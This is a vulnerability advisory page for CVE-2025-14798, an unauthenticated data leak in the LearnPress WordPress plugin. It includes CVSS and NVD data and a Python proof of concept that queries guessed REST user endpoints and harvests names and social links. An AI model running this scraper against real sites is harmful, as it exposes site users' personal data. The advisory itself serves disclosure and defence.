Security Vulnerability Report
中文
CVE-2025-14798 CVSS 5.3 MEDIUM

CVE-2025-14798

Published: 2026-01-20 04:15:58
Last Modified: 2026-04-15 00:35:42

Description

The LearnPress – WordPress LMS Plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.3.2.4 via the get_item_permissions_check function. This makes it possible for unauthenticated attackers to extract sensitive data including user first names and last names. Other information such as social profile links and enrollment are also included.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

LearnPress <= 4.3.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-14798 PoC - LearnPress Sensitive Information Disclosure # Target: WordPress site with LearnPress plugin <= 4.3.2.4 def exploit_cve_2025_14798(target_url): """ Exploit for CVE-2025-14798: LearnPress Unauthenticated Sensitive Info Disclosure This PoC demonstrates how an unauthenticated attacker can extract user data. """ # Common LearnPress REST API endpoints endpoints = [ '/wp-json/lp/v1/users', '/wp-json/learnpress/v1/users', '/wp-json/lp/v1/courses/users', ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } print(f'[*] Testing target: {target_url}') print(f'[*] CVE-2025-14798 - LearnPress Information Disclosure') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f'\n[*] Testing endpoint: {url}') try: # No authentication required - this is the vulnerability response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: data = response.json() print(f'[+] SUCCESS! Retrieved data from {endpoint}') print(f'[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}') # Extract sensitive information if isinstance(data, list): for user in data: first_name = user.get('first_name', 'N/A') last_name = user.get('last_name', 'N/A') social = user.get('social', {}) print(f'\n[+] User: {first_name} {last_name}') print(f'[+] Social links: {social}') return True except requests.exceptions.RequestException as e: print(f'[-] Error accessing {endpoint}: {e}') print('\n[-] No vulnerable endpoints found or target is patched') return False if __name__ == '__main__': import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = 'http://target-wordpress-site.com' exploit_cve_2025_14798(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14798", "sourceIdentifier": "[email protected]", "published": "2026-01-20T04:15:57.667", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LearnPress – WordPress LMS Plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 4.3.2.4 via the get_item_permissions_check function. This makes it possible for unauthenticated attackers to extract sensitive data including user first names and last names. Other information such as social profile links and enrollment are also included."}, {"lang": "es", "value": "El plugin LearnPress – WordPress LMS para WordPress es vulnerable a la Exposición de Información Sensible en versiones hasta la 4.3.2.4, inclusive, a través de la función get_item_permissions_check. Esto hace posible que atacantes no autenticados extraigan datos sensibles, incluyendo nombres y apellidos de usuario. También se incluye otra información como enlaces de perfil social e inscripción."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/jwt/rest-api/version1/class-lp-rest-users-v1-controller.php#L134", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.2.1/inc/jwt/rest-api/version1/class-lp-rest-users-v1-controller.php#L35", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6fb00ce4-aa82-4479-b7f6-79e7bde098c1?source=cve", "source": "[email protected]"}]}}